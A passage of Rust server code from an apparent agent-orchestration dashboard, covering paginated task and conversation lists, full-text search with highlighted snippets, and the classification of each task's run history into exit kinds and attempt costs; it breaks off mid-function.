5382        // retained membership snapshots; an evicted cursor explicitly retries.
5383        if walks.len() >= 16 {
5384            walks.remove(0);
5385        }
5386        walks.push(ListWalk {
5387            token,
5388            talks,
5389            opened: std::time::Instant::now(),
5390            ids: ids.clone(),
5391            initial_end,
5392        });
5393        (token, ids, 0, initial_end)
5394    };
5395    if offset > ids.len() {
5396        return Err(ApiError::bad_request("Invalid list cursor"));
5397    }
5398    let end = if offset == 0 {
5399        initial_end
5400    } else {
5401        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5402    };
5403    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5404    Ok((ids[offset..end].to_vec(), next))
5405}
5406
5407async fn queue_page(
5408    State(ui): State<Arc<Ui>>,
5409    Query(q): Query<PageQuery>,
5410) -> ApiResult<Json<StorePage<TaskView>>> {
5411    blocking(move || {
5412        let (ids, next) = page_ids(&ui, false, q)?;
5413        let tasks: Vec<_> = ids
5414            .into_iter()
5415            .filter_map(|id| ui.queue.get(&id).ok())
5416            .collect();
5417        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5418        let rows = tasks
5419            .into_iter()
5420            .map(|task| TaskView::with_inventory(task, &inv))
5421            .collect();
5422        Ok(Json(StorePage { rows, next }))
5423    })
5424    .await
5425}
5426
5427/// Fixed-size wire projection. Agent timestamps stay in the server index so
5428/// exact unread counts do not require sending an ever-growing turn list.
5429#[derive(Debug, Clone, Serialize)]
5430struct TalkListView {
5431    title: Option<talk::ChatTitle>,
5432    id: String,
5433    repo: PathBuf,
5434    agent: String,
5435    status: talk::TalkStatus,
5436    turns: Vec<TalkListTurn>,
5437    turn_count: usize,
5438    unread_count: usize,
5439    context: talk::ContextUsage,
5440    #[serde(skip)]
5441    agent_times: Vec<Timestamp>,
5442    thinking: bool,
5443    created_at: Timestamp,
5444    updated_at: Timestamp,
5445}
5446
5447#[derive(Debug, Clone, Serialize)]
5448struct TalkListTurn {
5449    who: talk::Who,
5450    at: Timestamp,
5451    body: String,
5452}
5453
5454fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5455    let reads: HashMap<String, Timestamp> = headers
5456        .get("x-talk-reads")
5457        .and_then(|v| v.to_str().ok())
5458        .and_then(|v| serde_json::from_str(v).ok())
5459        .unwrap_or_default();
5460    let mut index = ui
5461        .monitor
5462        .talk_index
5463        .lock()
5464        .unwrap_or_else(PoisonError::into_inner);
5465    // Bound memory independently of the number of conversations ever opened.
5466    if index.len() > 1000 {
5467        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5468        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5469        if index.len() > 1000 {
5470            index.retain(|id, _| keep.contains(id.as_str()));
5471        }
5472    }
5473    ids.into_iter()
5474        .filter_map(|id| {
5475            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5476            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5477                let talk = ui.talks.get(&id).ok()?;
5478                #[cfg(test)]
5479                ui.monitor
5480                    .talk_parses
5481                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5482                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5483                let last = talk.turns.len().checked_sub(1);
5484                let turns = talk
5485                    .turns
5486                    .iter()
5487                    .enumerate()
5488                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5489                    .map(|(_, t)| TalkListTurn {
5490                        who: t.who,
5491                        at: t.at,
5492                        body: t
5493                            .body
5494                            .lines()
5495                            .next()
5496                            .unwrap_or_default()
5497                            .chars()
5498                            .take(240)
5499                            .collect(),
5500                    })
5501                    .collect();
5502                let row = TalkListView {
5503                    title: talk.title.clone(),
5504                    agent_times: talk
5505                        .turns
5506                        .iter()
5507                        .filter(|t| t.who == talk::Who::Agent)
5508                        .map(|t| t.at)
5509                        .collect(),
5510                    turn_count: talk.turns.len(),
5511                    unread_count: 0,
5512                    context: talk::context_usage(&talk, None),
5513                    turns,
5514                    thinking: false,
5515                    id: talk.id,
5516                    repo: talk.repo,
5517                    agent: talk.agent,
5518                    status: talk.status,
5519                    created_at: talk.created_at,
5520                    updated_at: talk.updated_at,
5521                };
5522                index.insert(id.clone(), (identity, row));
5523            }
5524            let row = &index.get(&id)?.1;
5525            let mut row = TalkListView {
5526                title: row.title.clone(),
5527                unread_count: row
5528                    .agent_times
5529                    .iter()
5530                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5531                    .count(),
5532                agent_times: Vec::new(),
5533                id: row.id.clone(),
5534                repo: row.repo.clone(),
5535                agent: row.agent.clone(),
5536                status: row.status,
5537                context: row.context.clone(),
5538                turns: row.turns.clone(),
5539                turn_count: row.turn_count,
5540                thinking: false,
5541                created_at: row.created_at,
5542                updated_at: row.updated_at,
5543            };
5544            row.thinking = ui.is_thinking(&id);
5545            Some(row)
5546        })
5547        .collect()
5548}
5549
5550async fn talks_page(
5551    State(ui): State<Arc<Ui>>,
5552    Query(q): Query<PageQuery>,
5553    headers: header::HeaderMap,
5554) -> ApiResult<Json<StorePage<TalkListView>>> {
5555    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5556        let (ids, next) = page_ids(&ui, true, q)?;
5557        Ok(Json(StorePage {
5558            rows: talk_rows(&ui, ids, &headers),
5559            next,
5560        }))
5561    })
5562    .await
5563}
5564
5565async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5566    blocking(move || {
5567        let tasks = ui.indexed_tasks()?;
5568        Ok(Json(TaskCountsView::from(
5569            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5570        )))
5571    })
5572    .await
5573}
5574
5575/// Most hits one search returns. The rest are counted in `total`.
5576const SEARCH_MAX_HITS: usize = 100;
5577/// Longest query, in characters, and most terms it is split into.
5578const SEARCH_MAX_QUERY: usize = 200;
5579const SEARCH_MAX_TERMS: usize = 8;
5580/// Characters of context kept before the first hit, and after it.
5581const SNIPPET_BEFORE: usize = 50;
5582const SNIPPET_AFTER: usize = 110;
5583
5584/// `?scope=runs|tasks&q=...`
5585#[derive(Debug, Deserialize)]
5586struct SearchQuery {
5587    #[serde(default)]
5588    scope: String,
5589    #[serde(default)]
5590    q: String,
5591}
5592
5593/// One piece of a snippet. `hit` pieces are what matched; the client renders
5594/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5595#[derive(Debug, Serialize, PartialEq, Eq)]
5596struct SnippetPart {
5597    text: String,
5598    hit: bool,
5599}
5600
5601#[derive(Debug, Serialize)]
5602struct SearchHit {
5603    id: String,
5604    /// The name of the field the snippet was cut from.
5605    field: String,
5606    snippet: Vec<SnippetPart>,
5607    /// The run's list row, so the page can apply its state / section / repo
5608    /// filters to a hit outside the loaded window. Absent for tasks and for a
5609    /// run record the list view cannot read.
5610    #[serde(skip_serializing_if = "Option::is_none")]
5611    run: Option<RunSummary>,
5612}
5613
5614#[derive(Debug, Serialize)]
5615struct SearchView {
5616    scope: String,
5617    q: String,
5618    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5619    hits: Vec<SearchHit>,
5620    /// Every match, hits beyond the cap included.
5621    total: usize,
5622    truncated: bool,
5623    /// Runs whose `run.json` could not be parsed at all. They were not
5624    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5625    unreadable: usize,
5626}
5627
5628/// The text leaves of a JSON document, with the name of the field each sits
5629/// under. Keys and numbers are skipped: they are structure, not prose.
5630fn text_leaves<'a>(
5631    value: &'a serde_json::Value,
5632    field: &'a str,
5633    out: &mut Vec<(&'a str, &'a str)>,
5634) {
5635    match value {
5636        serde_json::Value::String(s) => out.push((field, s)),
5637        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5638        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5639        _ => {}
5640    }
5641}
5642
5643/// Lower-case one character without changing how many there are, so indices
5644/// in the lowered text are indices in the original.
5645fn fold_char(c: char) -> char {
5646    c.to_lowercase().next().unwrap_or(c)
5647}
5648
5649/// Split a query into its lower-cased terms.
5650fn search_terms(q: &str) -> Vec<String> {
5651    let mut terms: Vec<String> = Vec::new();
5652    for t in q.split_whitespace() {
5653        let t = t.to_lowercase();
5654        if !terms.contains(&t) {
5655            terms.push(t);
5656        }
5657    }
5658    terms
5659}
5660
5661/// Match `terms` (all of them, anywhere in the document) against the leaves
5662/// and cut a snippet around the first hit. `None` when a term is missing.
5663fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5664    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5665    let mut first: Option<usize> = None;
5666    for term in terms {
5667        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5668        first = Some(first.map_or(at, |f| f.min(at)));
5669    }
5670    // The leaf holding the earliest hit of any term is where the snippet is cut.
5671    let (field, text) = leaves[first?];
5672    Some(SearchHit {
5673        id: String::new(),
5674        field: field.to_owned(),
5675        snippet: snippet_of(text, terms),
5676        run: None,
5677    })
5678}
5679
5680/// A window of `text` around the first occurrence of any term, whitespace
5681/// collapsed, with every term occurrence inside the window marked.
5682fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5683    let chars: Vec<char> = text.chars().collect();
5684    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5685    let needles: Vec<Vec<char>> = terms
5686        .iter()
5687        .map(|t| t.chars().map(fold_char).collect())
5688        .collect();
5689    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5690        let mut best: Option<(usize, usize)> = None;
5691        for n in needles.iter().filter(|n| !n.is_empty()) {
5692            // `to` bounds where a match may start; it may run past `to` (the
5693            // caller clips what it shows). A term longer than the field cannot
5694            // occur in it (it may live in another leaf of the document).
5695            if n.len() > chars.len() || to == 0 {
5696                continue;
5697            }
5698            let last = (to - 1).min(chars.len() - n.len());
5699            if from > last {
5700                continue;
5701            }
5702            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5703                && best.is_none_or(|(b, _)| i < b)
5704            {
5705                best = Some((i, i + n.len()));
5706            }
5707        }
5708        best
5709    };
5710    let Some((start, _)) = find(0, chars.len()) else {
5711        // Matched only through a case mapping that changes length: show the head.
5712        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5713        return vec![SnippetPart {
5714            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5715            hit: false,
5716        }];
5717    };
5718    let lo = start.saturating_sub(SNIPPET_BEFORE);
5719    let hi = (start + SNIPPET_AFTER).min(chars.len());
5720    let mut parts: Vec<SnippetPart> = Vec::new();
5721    let mut push = |s: &[char], hit: bool| {
5722        if s.is_empty() {
5723            return;
5724        }
5725        let text: String = s.iter().collect();
5726        match parts.last_mut() {
5727            Some(p) if p.hit == hit => p.text.push_str(&text),
5728            _ => parts.push(SnippetPart { text, hit }),
5729        }
5730    };
5731    if lo > 0 {
5732        push(&['\u{2026}'], false);
5733    }
5734    let mut at = lo;
5735    while at < hi {
5736        match find(at, hi) {
5737            Some((s, e)) => {
5738                push(&chars[at..s], false);
5739                // A match running past the window is shown up to its edge.
5740                let shown = e.min(hi);
5741                push(&chars[s..shown], true);
5742                at = shown;
5743            }
5744            None => {
5745                push(&chars[at..hi], false);
5746                at = hi;
5747            }
5748        }
5749    }
5750    if hi < chars.len() {
5751        push(&['\u{2026}'], false);
5752    }
5753    // Collapse whitespace (newlines in an instruction) without disturbing the
5754    // hit boundaries.
5755    let mut prev_space = false;
5756    for p in &mut parts {
5757        let mut out = String::with_capacity(p.text.len());
5758        for c in p.text.chars() {
5759            if c.is_whitespace() {
5760                if !prev_space {
5761                    out.push(' ');
5762                }
5763                prev_space = true;
5764            } else {
5765                out.push(c);
5766                prev_space = false;
5767            }
5768        }
5769        p.text = out;
5770    }
5771    parts.retain(|p| !p.text.is_empty());
5772    parts
5773}
5774
5775/// The search over `docs` (id, document), newest first, capped.
5776fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5777where
5778    I: IntoIterator<Item = (String, serde_json::Value)>,
5779{
5780    for (id, doc) in docs {
5781        let mut leaves = Vec::new();
5782        // The id is text an operator types too, and it is a map key on disk,
5783        // not a leaf.
5784        leaves.push(("id", id.as_str()));
5785        text_leaves(&doc, "", &mut leaves);
5786        if let Some(mut hit) = search_document(terms, &leaves) {
5787            view.total += 1;
5788            if view.hits.len() < SEARCH_MAX_HITS {
5789                hit.id = id;
5790                view.hits.push(hit);
5791            }
5792        }
5793    }
5794    view.truncated = view.total > view.hits.len();
5795}
5796
5797/// What a conversation is searched by: its list title and each turn's text,
5798/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5799/// (session ids, repo paths, usage, drafts) is part of the document.
5800///
5801/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5802fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5803    let opener = talk
5804        .title
5805        .as_ref()
5806        .filter(|t| !t.text.is_empty())
5807        .map(|t| t.text.as_str())
5808        .or_else(|| {
5809            talk.turns
5810                .iter()
5811                .find(|t| t.who == talk::Who::Operator)
5812                .map(|t| t.body.as_str())
5813        })
5814        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5815        .unwrap_or("");
5816    let title: String = if opener.chars().count() > 96 {
5817        opener.chars().take(95).chain(['\u{2026}']).collect()
5818    } else {
5819        opener.to_owned()
5820    };
5821    let turns: Vec<serde_json::Value> = talk
5822        .turns
5823        .iter()
5824        .map(|t| {
5825            let who = match t.who {
5826                crate::talk::Who::Operator => "operator",
5827                crate::talk::Who::Agent => "agent",
5828            };
5829            serde_json::json!({ who: t.body })
5830        })
5831        .collect();
5832    serde_json::json!({ "title": title, "turns": turns })
5833}
5834
5835/// Read-only full-text search over every run's `run.json`, every task or every
5836/// conversation (title and transcript).
5837///
5838/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5839/// record from an older schema still searches; only a file that is not JSON
5840/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5841async fn search_get(
5842    State(ui): State<Arc<Ui>>,
5843    Query(q): Query<SearchQuery>,
5844) -> ApiResult<Json<SearchView>> {
5845    let query = q.q.trim().to_owned();
5846    if query.is_empty() {
5847        return Err(ApiError::bad_request("q must not be empty"));
5848    }
5849    if query.chars().count() > SEARCH_MAX_QUERY {
5850        return Err(ApiError::bad_request(format!(
5851            "q is longer than {SEARCH_MAX_QUERY} characters"
5852        )));
5853    }
5854    let terms = search_terms(&query);
5855    if terms.len() > SEARCH_MAX_TERMS {
5856        return Err(ApiError::bad_request(format!(
5857            "q has more than {SEARCH_MAX_TERMS} terms"
5858        )));
5859    }
5860    let scope = q.scope;
5861    if scope != "runs" && scope != "tasks" && scope != "chats" {
5862        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5863    }
5864    blocking(move || {
5865        let mut view = SearchView {
5866            scope: scope.clone(),
5867            q: query,
5868            hits: Vec::new(),
5869            total: 0,
5870            truncated: false,
5871            unreadable: 0,
5872        };
5873        if scope == "runs" {
5874            let mut unreadable = 0;
5875            // One run.json is read, matched and dropped at a time; nothing
5876            // holds the whole history. The scan runs to the end even past the
5877            // hit cap so `total` and `unreadable` stay exact.
5878            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5879                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5880                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5881                    Some(v) => Some((id, v)),
5882                    None => {
5883                        unreadable += 1;
5884                        None
5885                    }
5886                }
5887            });
5888            search_docs(&terms, docs, &mut view);
5889            view.unreadable = unreadable;
5890            // Only the capped hits get a row: the filters need a run's state,
5891            // and reading every match would be the whole history again.
5892            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5893            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5894            for hit in &mut view.hits {
5895                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5896                    hit.run = summarize(
5897                        [state],
5898                        &open_runs,
5899                        &claimed,
5900                        &superseded,
5901                        |p| probe.borrow_mut().status(p),
5902                        |p| probe.borrow_mut().started_at(p),
5903                    )
5904                    .pop();
5905                }
5906            }
5907        } else if scope == "chats" {
5908            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5909            view.unreadable = unreadable;
5910            search_docs(
5911                &terms,
5912                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5913                &mut view,
5914            );
5915        } else {
5916            let docs = ui.queue.list().into_iter().filter_map(|t| {
5917                let mut v = serde_json::to_value(&t).ok()?;
5918                // `source` serialises as a tagged object; the label is what
5919                // the operator reads ("human", "chat@a1b2").
5920                if let Some(o) = v.as_object_mut() {
5921                    o.insert("filed_by".to_owned(), t.source.label().into());
5922                }
5923                Some((t.id, v))
5924            });
5925            search_docs(&terms, docs, &mut view);
5926        }
5927        Ok(Json(view))
5928    })
5929    .await
5930}
5931
5932/// One attempt in a task's history, as the task page lists it.
5933#[derive(Debug, Serialize)]
5934struct TaskRunView {
5935    activity: Option<String>,
5936    /// 1-based position in [`Task::runs`].
5937    n: usize,
5938    id: String,
5939    short: String,
5940    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5941    kind: &'static str,
5942    /// The run's own status string; `None` when its record cannot be read.
5943    status: Option<&'static str>,
5944    /// Whether this build could read the run's record. Counted, never hidden.
5945    readable: bool,
5946    /// A verdict from a collapsed panel is provisional, never a decision.
5947    provisional: bool,
5948    /// What kind of attempt this was, in one line.
5949    description: String,
5950    /// How it ended and why the task moved on (or what it is doing now).
5951    outcome: String,
5952    created_at: Option<Timestamp>,
5953    pr: Option<String>,
5954    /// Why this pass ended, classified once; the flowchart is built from it.
5955    exit: RunExit,
5956    /// What the pass did to the task's attempt budget.
5957    attempt: AttemptCost,
5958    /// Edge wording for leaving this entry; names the recorded cause when
5959    /// there is one.
5960    exit_label: String,
5961    /// The position of a later entry for the same run: this entry is an
5962    /// earlier pass of it.
5963    later_pass: Option<usize>,
5964    /// Which pass over the run this entry is (1-based) and how many entries
5965    /// the task lists for the run. Counted from the list, so known even for
5966    /// a legacy record.
5967    pass_n: usize,
5968    passes_of_run: usize,
5969    /// What the run recorded about this pass; `None` for a record from before
5970    /// passes were kept, whose cause stays unknown.
5971    pass: Option<PassView>,
5972    /// The branch a review-only run reopened.
5973    branch: Option<String>,
5974    /// The badge word when it differs from `status` (`stale` / `superseded`);
5975    /// filled by the task route, which can see liveness and later attempts.
5976    badge: Option<String>,
5977}
5978
5979/// One recorded pass over a run, for the wire.
5980#[derive(Debug, Clone, PartialEq, Serialize)]
5981struct PassView {
5982    index: usize,
5983    resumed: bool,
5984    started_at: Timestamp,
5985    ended_at: Option<Timestamp>,
5986    /// `open`, `parked` or `unrecorded`.
5987    end: &'static str,
5988    cause: Option<crate::run::ParkCause>,
5989    /// One line: why it stopped, or that nobody recorded why.
5990    label: String,
5991    /// What the task recorded for this pass; `None` when it was not settled
5992    /// (or settled by a build that kept no record).
5993    cost: Option<crate::queue::PassCost>,
5994}
5995
5996impl PassView {
5997    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5998        use crate::run::PassEnd;
5999        let (end, cause, label) = match &p.end {
6000            None => ("open", None, "still open".to_owned()),
6001            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6002            Some(PassEnd::Unrecorded) => (
6003                "unrecorded",
6004                None,
6005                "stopped without recording why (a crash, a kill or a restart; not known)"
6006                    .to_owned(),
6007            ),
6008        };
6009        Self {
6010            index: p.index,
6011            resumed: p.resumed,
6012            started_at: p.started_at,
6013            ended_at: p.ended_at,
6014            end,
6015            cause,
6016            label,
6017            cost: settled.map(|t| t.cost),
6018        }
6019    }
6020}
6021
6022/// How one pass over a run ended, as far as the task's life is concerned.
6023#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6024#[serde(rename_all = "snake_case")]
6025enum RunExit {
6026    Unreadable,
6027    /// An earlier pass of a run id that appears again: it stopped short.
6028    Interrupted,
6029    Parked,
6030    MachineBlocked,
6031    QuotaStall,
6032    /// Stalled on a resumed pass with quota losses on record: they may be
6033    /// left over from an earlier pass, so whether this one was refunded is
6034    /// not knowable.
6035    ResumedQuotaStall,
6036    Merged,
6037    Ready,
6038    Superseded,
6039    /// The change was already on the base under other commits: the task
6040    /// finished without this run landing anything.
6041    AlreadyInBase,
6042    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6043    Stalled,
6044    /// Blocked / no-op with a pull request left open: held for a person.
6045    HeldWithPr,
6046    NoopHeld,
6047    /// Blocked or failed: the attempt is spent and the task retries or holds.
6048    Spent,
6049    InProgress,
6050}
6051
6052#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6053#[serde(rename_all = "snake_case")]
6054enum AttemptCost {
6055    Spent,
6056    Refunded,
6057    None,
6058    /// Cannot be told from the records that remain.
6059    Unknown,
6060}
6061
6062impl RunExit {
6063    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6064        let Some(s) = s else {
6065            return Self::Unreadable;
6066        };
6067        let status = s.status;
6068        if resumed_later {
6069            Self::Interrupted
6070        } else if s.parked {
6071            Self::Parked
6072        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6073            Self::MachineBlocked
6074        } else if !status.done() {
6075            Self::InProgress
6076        } else if matches!(status, RunStatus::Merged) {
6077            Self::Merged
6078        } else if matches!(status, RunStatus::Ready) {
6079            Self::Ready
6080        } else if matches!(status, RunStatus::Superseded) {
6081            Self::Superseded
6082        } else if matches!(status, RunStatus::AlreadyInBase) {
6083            Self::AlreadyInBase
6084        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6085            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6086        {
6087            if resumed {
6088                Self::ResumedQuotaStall
6089            } else {
6090                Self::QuotaStall
6091            }
6092        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6093            Self::HeldWithPr
6094        } else if matches!(status, RunStatus::VerifiedNoop) {
6095            Self::NoopHeld
6096        } else if matches!(status, RunStatus::Stalled) {
6097            Self::Stalled
6098        } else {
6099            Self::Spent
6100        }
6101    }
6102
6103    fn cost(self) -> AttemptCost {
6104        match self {
6105            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6106            Self::Merged
6107            | Self::Ready
6108            | Self::Stalled
6109            | Self::HeldWithPr
6110            | Self::NoopHeld
6111            | Self::Spent => AttemptCost::Spent,
6112            Self::InProgress => AttemptCost::None,
6113            Self::AlreadyInBase => AttemptCost::Refunded,
6114            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6115                AttemptCost::Unknown
6116            }
6117        }
6118    }
6119
6120    /// Short edge wording for leaving a run this way.
6121    fn edge_label(self, status: Option<&str>) -> String {
6122        match self {
6123            Self::Unreadable => "record unreadable".to_owned(),
6124            Self::Interrupted => "interrupted before the run finished".to_owned(),
6125            Self::Parked => "parked, attempt refunded".to_owned(),
6126            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6127            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6128            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6129            Self::Merged => "merged".to_owned(),
6130            Self::Ready => "ready, not merged".to_owned(),
6131            Self::Superseded => "superseded by a later attempt".to_owned(),
6132            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6133            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6134            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6135            Self::NoopHeld => "verified no-op".to_owned(),
6136            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6137            Self::InProgress => "in progress".to_owned(),
6138        }
6139    }
6140
6141    /// Does a task in `end` follow from a run that ended this way? When not,
6142    /// somebody closed or held the task by hand.
6143    fn explains(self, end: TaskStatus) -> bool {
6144        match self {
6145            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6146            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6147            Self::Unreadable | Self::Superseded | Self::Ready => true,
6148            _ => end != TaskStatus::Done,
6149        }
6150    }
6151}
6152
6153/// `GET /api/queue/{id}` - one task with every attempt it went through.
6154#[derive(Debug, Serialize)]
6155struct TaskDetailView {
6156    #[serde(flatten)]
6157    task: TaskView,
6158    /// Task override, or the default daemon budget when inherited.
6159    /// A separate loop's command-line limit is not visible from here.
6160    max_attempts: usize,
6161    history: Vec<TaskRunView>,
6162    /// Entries in `history`: passes over runs, not distinct runs and not
6163    /// attempts consumed (`task.attempts`).
6164    passes_total: usize,
6165    /// Distinct runs those passes belong to.
6166    runs_distinct: usize,
6167    flow: FlowView,
6168    /// Set for a follow-up task; see [`followup_origin`].
6169    followup_origin: Option<FollowUpOrigin>,
6170    /// How many entries of `history` could not be read.
6171    runs_unreadable: usize,
6172    /// Why the attempt count can be lower than the number of runs.
6173    attempts_note: &'static str,
6174}
6175
6176const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6177and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6178on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6179the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6180
6181/// The branch a review-only run reopened, read off the instruction
6182/// `Runner::open_review` writes.
6183fn review_branch_of(instruction: &str) -> Option<&str> {
6184    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6185    rest.split('`').next().filter(|b| !b.is_empty())
6186}
6187
6188/// Where an entry sits in a task's run list.
6189#[derive(Default)]
6190struct RunSlot<'a> {
6191    /// 1-based position.
6192    n: usize,
6193    /// The same run id appeared earlier: this pass resumed it.
6194    resumed: bool,
6195    /// Position of a later pass over the same run id, if any.
6196    resumed_later: Option<usize>,
6197    /// The previous distinct run and how it ended, for the retry note.
6198    prior: Option<(&'a str, RunStatus)>,
6199    last: bool,
6200    /// This pass as the run recorded it, when it did.
6201    pass: Option<&'a crate::run::RunPass>,
6202    /// What the task recorded when it settled this pass.
6203    settled: Option<&'a crate::queue::TaskPass>,
6204    /// 1-based position among the task's entries for this run, and their count.
6205    pass_n: usize,
6206    passes_of_run: usize,
6207}
6208
6209/// Describe one entry of a task's run list. Pure: everything it needs is on
6210/// the run and the task, so it is asserted without a server.
6211fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6212    let RunSlot {
6213        n,
6214        resumed,
6215        resumed_later,
6216        prior,
6217        last,
6218        pass,
6219        settled,
6220        pass_n,
6221        passes_of_run,
6222    } = at;
6223    let short = run::short_of(id).to_owned();
6224    let Some(s) = state else {
6225        return TaskRunView {
6226            activity: None,
6227            n,
6228            id: id.to_owned(),
6229            short,
6230            kind: "unknown",
6231            status: None,
6232            readable: false,
6233            provisional: false,
6234            description:
6235                "This run's record could not be read by this build (written by a different \
6236                          magi, or removed), so what kind of attempt it was is unknown."
6237                    .to_owned(),
6238            outcome: String::new(),
6239            created_at: None,
6240            pr: None,
6241            exit: RunExit::Unreadable,
6242            attempt: AttemptCost::Unknown,
6243            exit_label: RunExit::Unreadable.edge_label(None),
6244            later_pass: resumed_later,
6245            pass_n,
6246            passes_of_run,
6247            pass: None,
6248            branch: None,
6249            badge: None,
6250        };
6251    };
6252    let branch = review_branch_of(&s.instruction);
6253    let kind = if resumed {
6254        "resume"
6255    } else if branch.is_some() {
6256        "review"
6257    } else if task.solo || s.candidates.len() == 1 {
6258        "solo"
6259    } else {
6260        "competition"
6261    };
6262    let mut description = match kind {
6263        "resume" => {
6264            format!("Resumed run {short}: the same run carried on instead of competing again.")
6265        }
6266        "review" => format!(
6267            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6268            branch.unwrap_or_default()
6269        ),
6270        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6271        _ => format!(
6272            "Competition: {} candidates judged blind.",
6273            s.candidates.len().max(1)
6274        ),
6275    };
6276    if !resumed && let Some((p, st)) = prior {
6277        description.push_str(&format!(
6278            " A retry: run {p} before it ended {}.",
6279            st.display_label()
6280        ));
6281    }
6282
6283    let status = s.status;
6284    let provisional = matches!(status, RunStatus::Stalled)
6285        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6286    let head = if resumed_later.is_some() {
6287        String::new()
6288    } else {
6289        match status {
6290            RunStatus::Merged => "Merged.".to_owned(),
6291            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6292            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6293            RunStatus::AlreadyInBase => {
6294                "Already in the base: this change landed under other commits, nothing was left to land."
6295                    .to_owned()
6296            }
6297            RunStatus::Stalled => {
6298                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6299                    .to_owned()
6300            }
6301            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6302            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6303            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6304            RunStatus::VerifiedNoop => {
6305                "Verified no-op: the candidates found nothing to change.".to_owned()
6306            }
6307            other if other.done() => format!("Ended {}.", other.display_label()),
6308            other => format!("In progress ({}).", other.display_label()),
6309        }
6310    };
6311    let view = pass.map(|p| PassView::of(p, settled));
6312    let recorded_end = view
6313        .as_ref()
6314        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6315    let cost_words = match view.as_ref().and_then(|v| v.cost) {
